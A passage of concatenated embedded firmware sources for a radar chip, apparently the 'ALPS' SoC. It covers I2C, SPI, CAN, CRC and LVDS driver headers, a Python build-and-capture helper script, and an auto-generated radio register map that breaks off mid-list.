uint32_t speed_mode;
uint32_t restart_en;
i2c_io_timing_t *timing;
} i2c_params_t;
typedef enum {
inaction = 0,
transfer = 1,
receive = 2,
}i2c_xfer_type_t;
typedef void(*xfer_callback)(void *);
//void i2c_callb(int32_t *cb);
int32_t i2c_init(uint32_t id, i2c_params_t *params);
int32_t i2c_transfer_config(uint32_t addr_mode, uint32_t slave_addr, uint32_t ext_addr, uint32_t ext_addr_len);
int32_t i2c_write(uint8_t *data, uint32_t len);
int32_t i2c_read(uint8_t *data, uint32_t len);
int32_t i2c_transfer_start(i2c_xfer_type_t xfer_type, uint8_t *data, uint32_t len, xfer_callback func);
int32_t i2c_fifo_threshold_config(i2c_xfer_type_t xfer_type, uint32_t thres);
int32_t i2c_interrupt_enable();
//test API
int32_t i2c_testcase1_polling_write(uint32_t address_mode, uint32_t slave_addr, uint32_t reg_addr, uint32_t reg_addr_len, uint8_t i2c_test_write_data[], uint32_t data_len);
int32_t i2c_testcase2_polling_read(uint32_t address_mode, uint32_t slave_addr, uint32_t reg_addr, uint32_t reg_addr_len, uint8_t i2c_test_read_data[], uint32_t data_len);
int32_t i2c_testcase3_int_transfer(uint32_t address_mode, uint32_t slave_addr, uint32_t reg_addr, uint32_t reg_addr_len, uint8_t i2c_test_transfer_data[], uint32_t data_len);
int32_t i2c_testcase4_int_receive(uint32_t address_mode, uint32_t slave_addr, uint32_t reg_addr, uint32_t reg_addr_len, uint8_t i2c_test_receive_data[], uint32_t data_len);
int32_t i2c_testcase5_polling_loop(uint32_t address_mode, uint32_t slave_addr, uint32_t reg_addr, uint32_t reg_addr_len, uint8_t i2c_test_write_data[], uint8_t i2c_test_read_data[], uint32_t data_len);
//int32_t i2c_testcase6_int_loop(uint32_t address_mode, uint32_t slave_addr, uint32_t reg_addr, uint32_t reg_addr_len, uint8_t i2c_test_transfer_data[], uint8_t i2c_test_receive_data[], uint32_t data_len);<file_sep>#ifndef _APB_LVDS_H_
#define _APB_LVDS_H_
#include "alps_clock.h"
#define LVDS_BASE 0xD10000
void lvds_dump_config(uint8_t dump_src);
void lvds_dump_start(uint8_t dump_src);
void lvds_dump_stop(void);
#endif
<file_sep>#ifndef _CRC_REG_H_
#define _CRC_REG_H_
#define REG_CRC_MODE (0x0000)
#define REG_CRC_COUNT (0x0004)
#define REG_CRC_RAW (0x0008)
#define REG_CRC_INIT (0x000C)
#define REG_CRC_PRE (0x0010)
#define REG_CRC_INTR_EN (0x0014)
#define REG_CRC_INTR_CLR (0x0018)
#define REG_CRC_INTR_STA (0x001C)
#define REG_CRC_SEC (0x0020)
#define BITS_CRC_POLY_MASK (0x7)
#define BITS_CRC_POLY_SHIFT (0)
#define BITS_CRC_MODE_MASK (0x3)
#define BITS_CRC_MODE_SHIFT (8)
#endif
<file_sep>#ifndef SPI_MASTER_H_
#define SPI_MASTER_H_
typedef enum {
eSPIM_ID_0 = 0,
eSPIM_ID_1 = 1,
} eSPIM_ID;
#define SPIM_BAUD_RATE_1M (1000000)
void spi_master_init(eSPIM_ID eSPIM_ID_Num, uint32_t SPIM_Baud_Rate);
#endif
<file_sep>#include "embARC_toolchain.h"
#include "dev_common.h"
#include "alps/alps.h"
#include "dw_ssi.h"
#include "dw_ssi_obj.h"
#include "xip.h"
static dw_ssi_t dw_spi_m0 = {
.base = REL_REGBASE_SPI0,
.mode = DEV_MASTER_MODE,
.int_tx = SPI_M0_TXE_INTR,
.int_rx = SPI_M0_RXF_INTR,
.int_err = SPI_M0_ERR_INTR,
.rx_dma_req = DMA_REQ_SPI_M0_RX,
.tx_dma_req = DMA_REQ_SPI_M0_TX,
.ref_clock = 0,
};
static dw_ssi_t dw_spi_m1 = {
.base = REL_REGBASE_SPI1,
.mode = DEV_MASTER_MODE,
.int_tx = SPI_M1_TXE_INTR,
.int_rx = SPI_M1_RXF_INTR,
.int_err = SPI_M1_ERR_INTR,
.rx_dma_req = DMA_REQ_SPI_M1_RX,
.tx_dma_req = DMA_REQ_SPI_M1_TX,
.ref_clock = 0,
};
static dw_ssi_t dw_spi_s = {
.base = REL_REGBASE_SPI2,
.mode = DEV_SLAVE_MODE,
//.int_tx = SPI_S_TXE_INTR,
.int_tx = INT_MASK_IRQ0,
.int_rx = SPI_S_RXF_INTR,
.int_err = SPI_S_ERR_INTR,
.rx_dma_req = DMA_REQ_SPI_S_RX,
.tx_dma_req = DMA_REQ_SPI_S_TX,
.ref_clock = 0,
};
static dw_ssi_t dw_qspi = {
.base = REL_REGBASE_QSPI,
.mode = DEV_MASTER_MODE,
.int_tx = INT_QSPI_M_TXE_IRQ,
.int_rx = INT_QSPI_M_RXF_IRQ,
.int_err = INT_QSPI_M_ERR_IRQ,
.rx_dma_req = DMA_REQ_QSPI_M_RX,
.tx_dma_req = DMA_REQ_QSPI_M_TX,
.ref_clock = 0,
};
static dw_ssi_t flash_xip = {
.base = REL_REGBASE_XIP,
.ref_clock = 0,
};
static void spi_resource_install(void)
{
dw_ssi_install_ops(&dw_spi_m0);
dw_ssi_install_ops(&dw_spi_m1);
dw_ssi_install_ops(&dw_spi_s);
dw_ssi_install_ops(&dw_qspi);
dw_ssi_install_ops(&flash_xip);
}
void *dw_ssi_get_dev(uint32_t id)
{
int32_t result = 0;
static uint32_t spi_install_flag = 0;
void *dev_ptr = NULL;
if (0 == spi_install_flag) {
dmu_irq_select(INT_MASK_IRQ0, SPI_S_TXE_INTR);
spi_resource_install();
spi_install_flag = 1;
}
switch (id) {
case DW_SPI_0_ID:
if (0 == dw_spi_m0.ref_clock) {
result = clock_frequency(SPI_M0_CLOCK);
if (result > 0) {
dw_spi_m0.ref_clock = result;
} else {
break;
}
}
dev_ptr = (void *)&dw_spi_m0;
break;
case DW_SPI_1_ID:
if (0 == dw_spi_m1.ref_clock) {
result = clock_frequency(SPI_M1_CLOCK);
if (result > 0) {
dw_spi_m1.ref_clock = result;
} else {
break;
}
}
dev_ptr = (void *)&dw_spi_m1;
break;
case DW_SPI_2_ID:
if (0 == dw_spi_s.ref_clock) {
result = clock_frequency(SPI_S_CLOCK);
if (result > 0) {
dw_spi_s.ref_clock = result;
} else {
break;
}
}
dev_ptr = (void *)&dw_spi_s;
break;
case DW_QSPI_ID:
if (0 == dw_qspi.ref_clock) {
result = clock_frequency(QSPI_CLOCK);
if (result > 0) {
dw_qspi.ref_clock = result;
} else {
break;
}
}
dev_ptr = (void *)&dw_qspi;
break;
case XIP_QSPI_ID:
if (0 == flash_xip.ref_clock) {
result = clock_frequency(XIP_CLOCK);
if (result > 0) {
flash_xip.ref_clock = result;
} else {
break;
}
}
dev_ptr = (void *)&flash_xip;
break;
default:
dev_ptr = NULL;
}
return dev_ptr;
}
<file_sep>#ifndef TICK_H
#define TICK_H
/* Unit ms */
#define LED_FLICKER_MS 500
#define LED_D2 1
#define LED_ON 1
#define LED_OFF 0
#endif
<file_sep>#ifndef _CAN_H_
#define _CAN_H_
#define CAN_INT_TIMEOUT_OCCURED (1 << 25)
#define CAN_INT_ACCESS_PROTECT_REG (1 << 24)
#define CAN_INT_PROTOCOL_ERR (1 << 23)
#define CAN_INT_BUS_OFF (1 << 22)
#define CAN_INT_WARNING (1 << 21)
#define CAN_INT_ERR_PASSIVE (1 << 20)
#define CAN_INT_ERR_LOGGING_OVERFLOW (1 << 19)
#define CAN_INT_BIT_ERR_UNCORRECTED (1 << 18)
#define CAN_INT_BIT_ERR_CORRECTED (1 << 17)
#define CAN_INT_RAM_ACCESS_FAIL (1 << 16)
#define CAN_INT_TIMESTAMP_WRAP_AROUND (1 << 15)
#define CAN_INT_RX_NEW_MESSAGE (1 << 14)
#define CAN_INT_RX_FIFO_LOST (1 << 13)
#define CAN_INT_RX_FIFO_REAL_FULL (1 << 12)
#define CAN_INT_RX_FIFO_FULL (1 << 11)
#define CAN_INT_RX_FIFO_EMPTY (1 << 10)
#define CAN_INT_TX_CANCEL_FINISHED (1 << 9)
#define CAN_INT_TX_COMPLISHED (1 << 8)
#define CAN_INT_TX_FIFO_LOST (1 << 7)
#define CAN_INT_TX_FIFO_REAL_FULL (1 << 6)
#define CAN_INT_TX_FIFO_FULL (1 << 5)
#define CAN_INT_TX_FIFO_EMPTY (1 << 4)
#define CAN_INT_TX_EVENT_FIFO_LOST (1 << 3)
#define CAN_INT_TX_EVENT_FIFO_REAL_FULL (1 << 2)
#define CAN_INT_TX_EVENT_FIFO_FULL (1 << 1)
#define CAN_INT_TX_EVENT_FIFO_EMPTY (1 << 0)
#define CAN_INT_RX_FIFO_FILLED (CAN_INT_RX_FIFO_REAL_FULL | CAN_INT_RX_FIFO_FULL)
#define CAN_INT_TX_FIFO_READY (CAN_INT_TX_FIFO_EMPTY | CAN_INT_TX_EVENT_FIFO_EMPTY)
typedef enum can_dma_request {
dma_rx_req = 0,
dma_tx_req
} can_dma_req_t;
typedef struct can_descriptor {
uint32_t base;
uint32_t id;
uint8_t int_line[4];
uint32_t int_line_bitmap[4];
can_dma_req_t dma_req;
void *ops;
} can_t;
typedef struct can_protocol_config {
uint8_t fd_operation;
uint8_t bit_rate_switch;
uint8_t tx_delay_compensate;
uint8_t auto_retransmission;
} can_protocol_cfg_t;
typedef struct can_baud_rate_parameters {
uint8_t sync_jump_width;
uint8_t bit_rate_prescale;
uint8_t segment1;
uint8_t segment2;
} can_baud_t;
typedef enum {
eSTANDARD_FRAME = 0,
eEXTENDED_FRAME
} eCAN_FRAME_FORMAT;
typedef enum {
eDATA_FRAME = 0,
eREMOTE_FRAME
} eCAN_FRAME_TYPE;
typedef enum {
eELEMENT_DIS = 0,
eRANGE,
eCLASSIC,
eDUAL_ID
} eCAN_STD_FILTER_TYPE;
typedef enum {
eRX_FIFO = 0,
eRX_BUF,
eSPEC_RX_BUF,
eREJ_ID
} eCAN_STD_FILTER_ELEMENT_CFG;
typedef struct can_id_filter_parameters {
uint32_t frame_format;
uint32_t filter_size;
uint32_t mask;
bool reject_no_match;
bool reject_remote;
} can_id_filter_param_t;
typedef struct can_fifo_parameters {
uint32_t watermark;
uint32_t size;
uint32_t mode;
} can_fifo_param_t;
typedef struct can_id_filter_element {
uint32_t frame_format;
uint32_t filter_type;
uint32_t filter_cfg;
uint32_t filter_id0;
uint32_t filter_id1;
} can_id_filter_element_t;
typedef struct can_operation {
int32_t (*dma_enable)(can_t *can, uint32_t rx, uint32_t tx);
int32_t (*ecc_enable)(can_t *can, uint32_t en);
int32_t (*reset)(can_t *can, uint32_t reset);
int32_t (*operation_mode)(can_t *can, uint32_t mode);
int32_t (*tx_delay_compensation)(can_t *can, uint32_t value, uint32_t offset, uint32_t win_len);
int32_t (*protocol_config)(can_t *can, can_protocol_cfg_t *cfg);
int32_t (*timestamp_config)(can_t *can, uint32_t prescale, uint32_t mode);
int32_t (*timeout_config)(can_t *can, uint32_t enable, uint32_t period, uint32_t select);
int32_t (*baud)(can_t *can, uint32_t fd_enabled, can_baud_t *param);
int32_t (*id_filter_config)(can_t *can, can_id_filter_param_t *param);
int32_t (*data_field_size)(can_t *can, uint32_t rx_or_tx, uint32_t fifo_dfs, uint32_t buf_dfs);
int32_t (*fifo_config)(can_t *can, uint32_t fifo_type, can_fifo_param_t *param);
int32_t (*rx_buf_status)(can_t *can, uint32_t buf_id);
int32_t (*rx_buf_clear)(can_t *can, uint32_t buf_id);
int32_t (*read_frame)(can_t *can, uint32_t buf_id, uint32_t *buf, uint32_t frame_size);
int32_t (*read_frame_blocked)(can_t *can, uint32_t buf_id, uint32_t *buf, uint32_t frame_size);
int32_t (*tx_buf_request_pending)(can_t *can, uint32_t buf_id);
int32_t (*tx_buf_add_request)(can_t *can, uint32_t buf_id);
int32_t (*tx_buf_cancel_request)(can_t *can, uint32_t buf_id);
int32_t (*tx_buf_transmission_occurred)(can_t *can, uint32_t buf_id);
int32_t (*tx_buf_cancel_finished)(can_t *can, uint32_t buf_id);
int32_t (*tx_buf_transmission_int_enable)(can_t *can, uint32_t buf_id, uint32_t enable);
int32_t (*tx_buf_cancel_trans_int_enable)(can_t *can, uint32_t buf_id, uint32_t enable);
int32_t (*write_frame)(can_t *can, uint32_t buf_id, uint32_t *buf, uint32_t frame_size);
int32_t (*fifo_status)(can_t *can, uint32_t fifo_type, uint32_t fifo_sts);
int32_t (*fifo_read)(can_t *can, uint32_t fifo_type, uint32_t *buf, uint32_t len);
int32_t (*sleep_ack)(can_t *can);
uint32_t (*timestamp_value)(can_t *can);
int32_t (*error_counter)(can_t *can, uint32_t type);
int32_t (*protocol_status)(can_t *can, uint32_t type);
int32_t (*ecc_error_status)(can_t *can);
int32_t (*int_status)(can_t *can, uint32_t mask);
int32_t (*int_clear)(can_t *can, uint32_t mask);
int32_t (*int_enable)(can_t *can, uint32_t enable, uint32_t mask);
int32_t (*int_line_select)(can_t *can, uint32_t int_source, uint32_t int_line);
int32_t (*int_line_enable)(can_t *can, uint32_t int_line, uint32_t enable);
int32_t (*test_transmit)(can_t *can, uint32_t data);
int32_t (*test_receive)(can_t *can);
uint32_t (*version)(can_t *can);
int32_t (*id_filter_element)(can_t *can, uint32_t index, can_id_filter_element_t *param);
} can_ops_t;
typedef enum can_mode {
NORMAL_MODE = 0,
CONFIG_MODE,
RESTRICTED_MODE,
MONITOR_MODE,
SLEEP_MODE,
TEST_MODE,
LOOP_MODE
} can_mode_t;
typedef enum can_fifo_type {
CAN_RX_FIFO = 0,
CAN_TX_FIFO,
CAN_TX_EVENT_FIFO
} can_fifo_type_t;
typedef enum can_fifo_status {
CAN_FIFO_ALL = 0,
CAN_FIFO_PUT_INDEX,
CAN_FIFO_GET_INDEX,
CAN_FIFO_LEVEL,
CAN_FIFO_MESSAGE_LOST,
CAN_FIFO_FULL,
CAN_FIFO_EMPTY,
CAN_FIFO_ACK,
CAN_FIFO_INVALID
} can_fifo_status_t;
typedef enum can_fifo_mode {
FIFO_BLOCK_MODE = 0,
FIFO_OVERWRITE_MODE,
FIFO_INVALID_MODE
} can_fifo_mode_t;
typedef enum can_timeout_mode {
TIMEOUT_MODE_CONTINUOUS = 0,
TIMEOUT_MODE_TX_EVENT_FIFO,
TIMEOUT_MODE_RX_FIFO,
TIMEOUT_MODE_INVALID
} can_timeout_mode_t;
typedef enum can_protocol_status_type {
PROTOCOL_STS_ALL = 0,
PROTOCOL_STS_LAST_ERR_CODE,
PROTOCOL_STS_FD_LAST_RX_ESI,
PROTOCOL_STS_FD_LAST_RX_BRS,
PROTOCOL_STS_FD_RX_MESSAGE,
PROTOCOL_STS_EXCEPTION_EVENT,
PROTOCOL_STS_ACTIVE,
PROTOCOL_STS_ERR_PASSIVE,
PROTOCOL_STS_WARNING,
PROTOCOL_STS_BUS_OFF,
PROTOCOL_STS_INVALID
} can_protocol_status_t;
typedef enum can_error_counter_type {
ERROR_TYPE_LOGGING = 0,
ERROR_TYPE_RECEIVE,
ERROR_TYPE_TRANSMIT
} can_error_counter_type_t;
typedef enum can_timestamp_counter_mode {
TIMESTAMP_ALWAYS = 0,
TIMESTAMP_INCREMENT,
TIMESTAMP_EXTERNAL
} can_timestamp_mode;
/* frame size mapping to data field size in register. */
static inline uint32_t can_fs2dfs(uint32_t frame_size)
{
uint32_t dfs = (frame_size >> 2);
if (dfs <= 6) {
dfs -= 2;
} else {
dfs = ((dfs - 8) >> 2) + 5;
}
return dfs;
}
int32_t can_install_ops(can_t *can);
can_baud_t *can_get_baud(uint32_t ref_clock, uint32_t baud_rate);
#endif
<file_sep># coding: utf-8
import os
import sys
import serial
from serial.tools import list_ports
import subprocess
from subprocess import DEVNULL
if sys.platform == 'win32':
GDB_EXE = 'arc-elf32-gdb.exe'
ARC_GNU = r'C:\arc_gnu'
elif sys.platform.startswith('linux'):
GDB_EXE = 'arc-elf32-gdb'
ARC_GNU = '/opt/arc_gnu'
else:
raise NotImplementedError
def kill_gdb():
if sys.platform == 'win32':
subprocess.call("taskkill /F /T /IM arc-elf32-gdb.exe",stdout=DEVNULL,stderr=DEVNULL)
elif sys.platform.startswith('linux'):
os.system('killall {}'.format(GDB_EXE))
else:
raise NotImplementedError
def find_devices(comports=None, vid=None, pid=None):
if vid is None:
vid = 0x0403
vid = (vid, ) if isinstance(vid, int) else vid
if pid is None:
pid = (0x6010, 0x6001)
pid = (pid, ) if isinstance(pid, int) else pid
comports = comports or list_ports.comports()
devices = []
for info in comports:
if info.vid in vid and info.pid in pid:
devices.append(info)
return devices
def find_available_comport(comports=None, vid=None, pid=None):
devices = find_devices(comports, vid, pid)
if len(devices) == 0:
return None
elif len(devices) == 1:
comport = devices[0].device
else:
raise Exception("Can't find device.")
return comport
def make_run(fw_src_dir, cleanup=True):
cmd = 'make run ACC_BB_BOOTUP=1'
if cleanup:
cmd = 'make clean && ' + cmd
print(cmd)
process = subprocess.Popen(cmd, cwd=fw_src_dir, shell=True)
return process
def make_clean(fw_src_dir):
cmd = 'make clean'
print(cmd)
process = subprocess.Popen(cmd, cwd=fw_src_dir, shell=True)
def get_cwd():
cwd = os.getcwd()
return cwd
def main(comport, baudrate, fw_src_dir):
kill_gdb()
ser = serial.Serial()
ser.port = comport
ser.baudrate = baudrate
ser.open()
process = make_run(fw_src_dir, cleanup=True)
started = False
try:
data = b''
while True:
line = ser.readline()
if b"if(bb_hw->frame_type_id == 0){" in line:
started = True
if b'<EOF>' in line:
break
if started:
data += line
with open(os.path.join(fw_src_dir, "calterah", "common", "baseband", "baseband_bb_bootup.h"), "wb") as f:
f.write(data)
finally:
ser.close()
make_clean(fw_src_dir)
process.terminate()
kill_gdb()
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(add_help=True)
parser.add_argument('--comport', default=find_available_comport())
parser.add_argument('--baudrate', type=int, default=3000000)
parser.add_argument('--src-dir', help="specify firmware source dir.", default=get_cwd())
args = parser.parse_args()
main(args.comport, args.baudrate, args.src_dir)
<file_sep>//Description: This file was auto generated by python
//Author : <EMAIL>
//Datetime : Tue Dec 24 20:22:58 2019
#ifndef ALPS_MP_RADIO_REG_H
#define ALPS_MP_RADIO_REG_H
#define RADIO_BK0_REG_BANK 0x0
#define RADIO_BK0_REG_BANK_SEL_SHIFT 0
#define RADIO_BK0_REG_BANK_SEL_MASK 0xF
#define RADIO_BK0_CHIP_ID 0x1
#define RADIO_BK0_CHIP_ID_SHIFT 0
#define RADIO_BK0_CHIP_ID_MASK 0xff
#define RADIO_BK0_POR 0x2
#define RADIO_BK0_POR_LDO11_SPI_TURBO_SHIFT 0
#define RADIO_BK0_POR_LDO11_SPI_TURBO_MASK 0x1
#define RADIO_BK0_POR_LDO11_SPI_TEST_SEL_SHIFT 1
#define RADIO_BK0_POR_LDO11_SPI_TEST_SEL_MASK 0x1
#define RADIO_BK0_POR_LDO11_SPI_TEST_EN_SHIFT 2
#define RADIO_BK0_POR_LDO11_SPI_TEST_EN_MASK 0x1
#define RADIO_BK0_POR_LDO11_SPI_BYPASS_EN_SHIFT 3
#define RADIO_BK0_POR_LDO11_SPI_BYPASS_EN_MASK 0x1
#define RADIO_BK0_POR_LDO11_SPI_VOUT_SEL_SHIFT 4
#define RADIO_BK0_POR_LDO11_SPI_VOUT_SEL_MASK 0x7
#define RADIO_BK0_POR_RC_OSC_EN_SHIFT 7
#define RADIO_BK0_POR_RC_OSC_EN_MASK 0x1
#define RADIO_BK0_CBC_EN 0x3
#define RADIO_BK0_CBC_EN_BG_EN_SHIFT 0
#define RADIO_BK0_CBC_EN_BG_EN_MASK 0x1
#define RADIO_BK0_CBC_EN_LDO_EN_SHIFT 1
#define RADIO_BK0_CBC_EN_LDO_EN_MASK 0x1
#define RADIO_BK0_CBC_EN_CGM_EN_SHIFT 2
#define RADIO_BK0_CBC_EN_CGM_EN_MASK 0x1
#define RADIO_BK0_CBC_EN_TESTMUX_SEL_SHIFT 3
#define RADIO_BK0_CBC_EN_TESTMUX_SEL_MASK 0x7
#define RADIO_BK0_CBC_EN_TESTMUX_EN_SHIFT 6
#define RADIO_BK0_CBC_EN_TESTMUX_EN_MASK 0x1
#define RADIO_BK0_CBC_EN_CGM_MODE_SHIFT 7
#define RADIO_BK0_CBC_EN_CGM_MODE_MASK 0x1
#define RADIO_BK0_CBC_TUNE 0x4
#define RADIO_BK0_CBC_TUNE_CBC_CALCTAT_SEL_SHIFT 0
#define RADIO_BK0_CBC_TUNE_CBC_CALCTAT_SEL_MASK 0x7
#define RADIO_BK0_CBC_TUNE_CBC_CALCTAT_SPARE_SHIFT 3
#define RADIO_BK0_CBC_TUNE_CBC_CALCTAT_SPARE_MASK 0x1
#define RADIO_BK0_CBC_TUNE_CBC_CALPTAT_SEL_SHIFT 4
#define RADIO_BK0_CBC_TUNE_CBC_CALPTAT_SEL_MASK 0x7
#define RADIO_BK0_CBC_TUNE_CBC_CALPTAT_SPARE_SHIFT 7
#define RADIO_BK0_CBC_TUNE_CBC_CALPTAT_SPARE_MASK 0x1
#define RADIO_BK0_LDO25_PMU 0x5
#define RADIO_BK0_LDO25_PMU_TURBO_SHIFT 0
#define RADIO_BK0_LDO25_PMU_TURBO_MASK 0x1
#define RADIO_BK0_LDO25_PMU_TEST_SEL_SHIFT 1
#define RADIO_BK0_LDO25_PMU_TEST_SEL_MASK 0x1
#define RADIO_BK0_LDO25_PMU_TEST_EN_SHIFT 2
#define RADIO_BK0_LDO25_PMU_TEST_EN_MASK 0x1
#define RADIO_BK0_LDO25_PMU_BYPASS_EN_SHIFT 3
#define RADIO_BK0_LDO25_PMU_BYPASS_EN_MASK 0x1
#define RADIO_BK0_LDO25_PMU_VOUT_SEL_SHIFT 4
#define RADIO_BK0_LDO25_PMU_VOUT_SEL_MASK 0x7
#define RADIO_BK0_LDO25_PMU_EN_SHIFT 7
#define RADIO_BK0_LDO25_PMU_EN_MASK 0x1
#define RADIO_BK0_LDO25_SM 0x6
#define RADIO_BK0_LDO25_SM_TURBO_SHIFT 0
#define RADIO_BK0_LDO25_SM_TURBO_MASK 0x1
#define RADIO_BK0_LDO25_SM_TEST_SEL_SHIFT 1
#define RADIO_BK0_LDO25_SM_TEST_SEL_MASK 0x1
#define RADIO_BK0_LDO25_SM_TEST_EN_SHIFT 2
#define RADIO_BK0_LDO25_SM_TEST_EN_MASK 0x1
#define RADIO_BK0_LDO25_SM_BYPASS_EN_SHIFT 3
#define RADIO_BK0_LDO25_SM_BYPASS_EN_MASK 0x1
#define RADIO_BK0_LDO25_SM_VSEL_SHIFT 4
#define RADIO_BK0_LDO25_SM_VSEL_MASK 0x7
#define RADIO_BK0_LDO25_SM_LDO_EN_SHIFT 7
#define RADIO_BK0_LDO25_SM_LDO_EN_MASK 0x1
#define RADIO_BK0_LDO11_SM 0x7
#define RADIO_BK0_LDO11_SM_TURBO_SHIFT 0
#define RADIO_BK0_LDO11_SM_TURBO_MASK 0x1
#define RADIO_BK0_LDO11_SM_TEST_SEL_SHIFT 1
#define RADIO_BK0_LDO11_SM_TEST_SEL_MASK 0x1
#define RADIO_BK0_LDO11_SM_TEST_EN_SHIFT 2
#define RADIO_BK0_LDO11_SM_TEST_EN_MASK 0x1
#define RADIO_BK0_LDO11_SM_BYPASS_EN_SHIFT 3
#define RADIO_BK0_LDO11_SM_BYPASS_EN_MASK 0x1
#define RADIO_BK0_LDO11_SM_VSEL_SHIFT 4
#define RADIO_BK0_LDO11_SM_VSEL_MASK 0x7
#define RADIO_BK0_LDO11_SM_LDO_EN_SHIFT 7
#define RADIO_BK0_LDO11_SM_LDO_EN_MASK 0x1
#define RADIO_BK0_TEST_CBC1 0x8
#define RADIO_BK0_TEST_CBC1_SYSCLK_SEL_SHIFT 0
#define RADIO_BK0_TEST_CBC1_SYSCLK_SEL_MASK 0x3
#define RADIO_BK0_TEST_CBC1_SYSCLK_EN_SHIFT 2
#define RADIO_BK0_TEST_CBC1_SYSCLK_EN_MASK 0x1
#define RADIO_BK0_TEST_CBC1_BOOTCLK_SEL_SHIFT 3
#define RADIO_BK0_TEST_CBC1_BOOTCLK_SEL_MASK 0x1
#define RADIO_BK0_TEST_CBC1_BOOTCLK_AUTO_EN_SHIFT 4
#define RADIO_BK0_TEST_CBC1_BOOTCLK_AUTO_EN_MASK 0x1
#define RADIO_BK0_TEST_CBC1_50M_CLK_MONITOR_EN_SHIFT 5
#define RADIO_BK0_TEST_CBC1_50M_CLK_MONITOR_EN_MASK 0x1
#define RADIO_BK0_TEST_CBC1_MUX_DIFF_EN_SHIFT 6
#define RADIO_BK0_TEST_CBC1_MUX_DIFF_EN_MASK 0x1
#define RADIO_BK0_TEST_CBC1_MUX_DIFF_EN_SPARE_SHIFT 7
#define RADIO_BK0_TEST_CBC1_MUX_DIFF_EN_SPARE_MASK 0x1
#define RADIO_BK0_TEST_CBC2 0x9
#define RADIO_BK0_TEST_CBC2_TEMP_MONITOR_EN_SHIFT 0
#define RADIO_BK0_TEST_CBC2_TEMP_MONITOR_EN_MASK 0x1
#define RADIO_BK0_TEST_CBC2_VPTAT_TEST_EN_SHIFT 1
#define RADIO_BK0_TEST_CBC2_VPTAT_TEST_EN_MASK 0x1
#define RADIO_BK0_TEST_CBC2_VBG_MONITOR_EN_SHIFT 2
#define RADIO_BK0_TEST_CBC2_VBG_MONITOR_EN_MASK 0x1
#define RADIO_BK0_TEST_CBC2_DVDD11_MONITOR_EN_SHIFT 3
#define RADIO_BK0_TEST_CBC2_DVDD11_MONITOR_EN_MASK 0x1
#define RADIO_BK0_TEST_CBC2_DVDD11SPI_MONITOR_EN_SHIFT 4
#define RADIO_BK0_TEST_CBC2_DVDD11SPI_MONITOR_EN_MASK 0x1
#define RADIO_BK0_TEST_CBC2_DVDD11SPI_MONITOR_START_SHIFT 5
#define RADIO_BK0_TEST_CBC2_DVDD11SPI_MONITOR_START_MASK 0x1
#define RADIO_BK0_TEST_CBC2_CBC33_MONITOR_EN_SHIFT 6
#define RADIO_BK0_TEST_CBC2_CBC33_MONITOR_EN_MASK 0x1
#define RADIO_BK0_TEST_CBC2_CBC33_MONITOR_RDAC_EN_SHIFT 7
#define RADIO_BK0_TEST_CBC2_CBC33_MONITOR_RDAC_EN_MASK 0x1
#define RADIO_BK0_CBC33_MONITOR0 0xa
#define RADIO_BK0_CBC33_MONITOR0_SHIFT 0
#define RADIO_BK0_CBC33_MONITOR0_MASK 0xff
#define RADIO_BK0_CBC33_MONITOR1 0xb
#define RADIO_BK0_CBC33_MONITOR1_SHIFT 0
#define RADIO_BK0_CBC33_MONITOR1_MASK 0xff
#define RADIO_BK0_DVDD11_MONITOR 0xc
#define RADIO_BK0_DVDD11_MONITOR_DVDD11SPI_MONITOR_VSEL_SHIFT 0
#define RADIO_BK0_DVDD11_MONITOR_DVDD11SPI_MONITOR_VSEL_MASK 0x7
#define RADIO_BK0_DVDD11_MONITOR_DVDD11_MONITOR_VLSEL_SHIFT 3
#define RADIO_BK0_DVDD11_MONITOR_DVDD11_MONITOR_VLSEL_MASK 0x3
#define RADIO_BK0_DVDD11_MONITOR_DVDD11_MONITOR_VHSEL_SHIFT 5
#define RADIO_BK0_DVDD11_MONITOR_DVDD11_MONITOR_VHSEL_MASK 0x3
#define RADIO_BK0_VBG_MONITOR 0xd
#define RADIO_BK0_VBG_MONITOR_VBG_MONITOR_VLSEL_SHIFT 0
#define RADIO_BK0_VBG_MONITOR_VBG_MONITOR_VLSEL_MASK 0x3
#define RADIO_BK0_VBG_MONITOR_VBG_MONITOR_VHSEL_SHIFT 2
#define RADIO_BK0_VBG_MONITOR_VBG_MONITOR_VHSEL_MASK 0x3
#define RADIO_BK0_VBG_MONITOR_VBG_MONITOR_VHSEL_SPARE_SHIFT 4
#define RADIO_BK0_VBG_MONITOR_VBG_MONITOR_VHSEL_SPARE_MASK 0xf
#define RADIO_BK0_TMEP_MONITOR 0xe
#define RADIO_BK0_TMEP_MONITOR_SHIFT 0
#define RADIO_BK0_TMEP_MONITOR_MASK 0x7f
#define RADIO_BK0_MS 0xf
#define RADIO_BK0_MS_CBC33_MONITOR_STATUS_SHIFT 0
#define RADIO_BK0_MS_CBC33_MONITOR_STATUS_MASK 0x3
#define RADIO_BK0_MS_DVDD11_MONITOR_STATUS_SHIFT 2
#define RADIO_BK0_MS_DVDD11_MONITOR_STATUS_MASK 0x3
#define RADIO_BK0_MS_VBG_MONITOR_STATUS_SHIFT 4
#define RADIO_BK0_MS_VBG_MONITOR_STATUS_MASK 0x3
#define RADIO_BK0_TPANA1 0x10
#define RADIO_BK0_TPANA1_TEST_MUX_1_SEL_SHIFT 0
#define RADIO_BK0_TPANA1_TEST_MUX_1_SEL_MASK 0x3f
#define RADIO_BK0_TPANA1_TEST_MUX_1_EN_SHIFT 6
#define RADIO_BK0_TPANA1_TEST_MUX_1_EN_MASK 0x1
#define RADIO_BK0_TPANA1_EN_SHIFT 7
#define RADIO_BK0_TPANA1_EN_MASK 0x1
#define RADIO_BK0_TPANA2 0x11
#define RADIO_BK0_TPANA2_TEST_MUX_2_SEL_SHIFT 0
#define RADIO_BK0_TPANA2_TEST_MUX_2_SEL_MASK 0x3f
#define RADIO_BK0_TPANA2_TEST_MUX_2_EN_SHIFT 6
#define RADIO_BK0_TPANA2_TEST_MUX_2_EN_MASK 0x1
#define RADIO_BK0_TPANA2_TPANA2_EN_SHIFT 7
#define RADIO_BK0_TPANA2_TPANA2_EN_MASK 0x1
#define RADIO_BK0_REFPLL_LDO0 0x12
#define RADIO_BK0_REFPLL_LDO0_LDO25_XTAL_TURBO_SHIFT 0
#define RADIO_BK0_REFPLL_LDO0_LDO25_XTAL_TURBO_MASK 0x1
#define RADIO_BK0_REFPLL_LDO0_LDO25_XTAL_TEST_SEL_SHIFT 1
#define RADIO_BK0_REFPLL_LDO0_LDO25_XTAL_TEST_SEL_MASK 0x1
#define RADIO_BK0_REFPLL_LDO0_LDO25_XTAL_TEST_EN_SHIFT 2
